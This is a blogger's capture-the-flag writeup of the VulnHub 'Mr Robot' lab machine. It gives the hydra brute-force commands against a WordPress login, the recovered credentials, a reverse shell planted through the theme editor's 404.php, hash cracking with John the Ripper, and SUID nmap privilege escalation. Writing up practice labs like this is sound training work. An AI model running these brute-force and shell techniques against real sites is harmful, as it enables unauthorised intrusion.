← ALL WRITEUPSFIELD NOTES / TECHNICAL WRITEUP

Mr Robot.md

IP: 192.168.118.130
OS: Ubuntu linux
Difficulty: Easy
Date: 10/19/2026
Source: VulnHub


Nmap

nmap -sV -sC -p- <IP>

Open ports:


Enumeration

Web

Website found on port 80 shows this page.

dirsearch:

In robots.txt found could be usernames?

Used this command to download the file:

wget 192.168.118.130/fsocity.dic 

The file was too big and had 858,000 lines, so I used this command to eliminate duplicates:

sort -u fsocity.dic > deduped.dic

Shrunk it down to 11,000.

Used hydra with the following command because there’s a WordPress page on /wp-login:

hydra -L deduped.dic -p test 192.168.118.130 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username."

Found that there’s a user called elliot on the page after running the hydra scan against TEST as a password.

Now rerun the brute-force on the password field instead because we have a username already:

hydra -l elliot -P deduped.dic 192.168.118.130 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=is incorrect."

Found Elliot credentials:

elliot:ER28-0652

Foothold

**Vulnerability:** **WordPress Theme Editor RCE** (editing `404.php` via Appearance → Theme Editor).

**Exploit:** Added a Pentest monkey script to the `404.php` template and got the shell by curling the site from the terminal. Going through the website did not work.

Got the shell and stabilized it using:

python -c 'import pty;pty.spawn("/bin/bash")'

Went into the home directory and found a user called robot with his password and key-2, but I could not read the contents of the directory because it was owned by robot.


How I Got Key-2

Found in /home/robot/:

cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

Used John the Ripper to crack the MD5 hash:

john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

The password:

abcdefghijklmnopqrstuvwxyz
su robot

Privilege Escalation

**Vector:** Misconfigured Permissions

find / -perm -4000 -type f 2>/dev/null

Technique: Since nmap is part of SUID, I went on GTFOBins and used this.

Ran it the first time and did not get anything, then realized that nmap is not in the PATH, so I called the absolute path for it.

We are in the /root directory and found the flag.

sudo -l prompted for password so no attack vector here.


Flags


Lessons Learned

Overall, this was an easy machine. It was also my first time using Hydra in this way. Regardless, it was easy and straightforward with good enumeration. Finished in less than an hour and got the root flag.

← BACK TO WRITEUPSMAZEN. / HOME